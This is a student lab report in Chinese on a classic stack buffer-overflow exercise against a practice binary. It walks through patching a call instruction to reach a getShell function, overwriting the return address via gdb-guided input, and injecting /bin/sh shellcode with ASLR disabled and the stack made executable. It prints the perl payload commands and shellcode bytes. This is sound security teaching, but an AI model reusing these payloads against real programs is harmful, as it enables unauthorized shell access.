一、实践目标
1.本次实践的对象是一个名为20154310(原为pwn1)的linux可执行文件。
2.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
3.该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
二、实践内容
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个shellcode并运行这段shellcode。
三、实践步骤
1.1 将可执行文件pwn1复制另存为文件名为学号20154310的文件。
1.2使用objdump -d 20154310 | more命令查看目标文件20154310的反汇编代码。可看到main函数在第80484b5行出call 8048491处调用执行foo函数,对应机器码为e8 d7 ff ff ff
想要使main函数在此处改为跳转执行getshell函数,修改d7为c3即可( “d7ffffff”是补码,表示-41,41 = 0x29 ,80484ba + d7ffffff = 80484ba - 0x29 正好是8048491这个值。)
1.3输入vi指令打开为二进制文档,后,。
再输入:%!xxd指令,查看其十六进制格式
输入/e8 7d查找,并将其修改为c3,
输入:%!xxd -r转换16进制为原格式
然后输入/wq保存并退出
运行修改后的文件,成功执行getshell,再用反汇编指令查看其机器码,不难发现此时已经改变了原代码
2.1通过构造输入参数,造成BOF攻击,改变程序执行流 由1.2图中可看出,main主函数会调用foo函数,我们将实现main主函数调用getshell函数,并得到getshell函数的地址为“0804847d”。
接下来确认缓冲区大小,溢出的部分将会覆盖到返回地址,cpu会尝试执行该部分代码,我们只需要调试出输入多少字符会溢出以及溢出字符的输入输出顺序,即输入字符串后吗,哪几个字符会覆盖到返回地址。把该溢出部分的数字对应上getshell的地址,cpu就会执行getshell。通过gdb进行调试,确认多少字符之后能覆盖以及覆盖到什么位置。
我们输入1111111122222222333333334444444412345678进行尝试。
可以看出在eip寄存器内显示的16进制为34333231,1234为溢出字符,且存储为倒序。
2.2倒序输入getshell的内存地址 即“11111111222222223333333344444444\x7d\x84\x04\x08”,其中“\x0a”表示回车
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 并用16进制查看指令xxd,查看input文件的内容 xxd input
2.3将input的输入,通过管道符“|”,作为20154310的输入,并查看效果。
3.1注入Shellcode并执行
准备一段Shellcode
shellcode就是一段机器指令,我们这里使用的shellcode是文章“Shellcode”入门中生成的shellcode。 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
安装execstack软件apt-get install execstack 设置堆栈可执行execstack -s 20154310 查询文件的堆栈是否可执行.execstack -q 20154310检测地址随机化状态more /proc/sys/kernel/randomize_va_space 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space 检测地址随机化状态more /proc/sys/kernel/randomize_va_space
如图所示,已完成设置,X表示文件的堆栈可执行,0表示地址随机化。
3.2把输入的字串放入input_shellcode文件里
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 其中,最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。
3.4打开另一个终端进行调试
1.查看进程号为:4531 ps -ef | grep 20154310
2.启动gdb进行调试 -gdb -attach 4531
3.5在gdb模式下设置断点,来查看注入buf的内存地址。
disassemble foo
可以看到,会断在080484ae,ret完,就跳到我们覆盖的retaddr的位置了。
3.6设置断点后回到另一个终端,按一下回车后再回到该终端进行调试。
-break *0x080484ae -c
3.7先找到ESP的地址,再根据ESP的地址找到shellcode的地址。
x/16x 0xffffd38c
如图,找到了shellcode的起始位置90909090,以及1234所在的位置,\x1\x2\x3\x4应该紧挨着shellcode,所以shellcode的位置应该是0xffffd390。
退出gdb模式后,将shellcode写进去
perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
(cat input_shellcode;cat) | ./ 20154310
如上图所示,注入攻击成功。
五.实验体会
这次实验是我第一次使用虚拟机来进行反汇编操作,在此之前我没有使用过linux系统。用惯了windows图形界面的操作,对于代码命令行的使用还有些生疏,希望在以后的实验能够多多练习,成功掌握这项技能。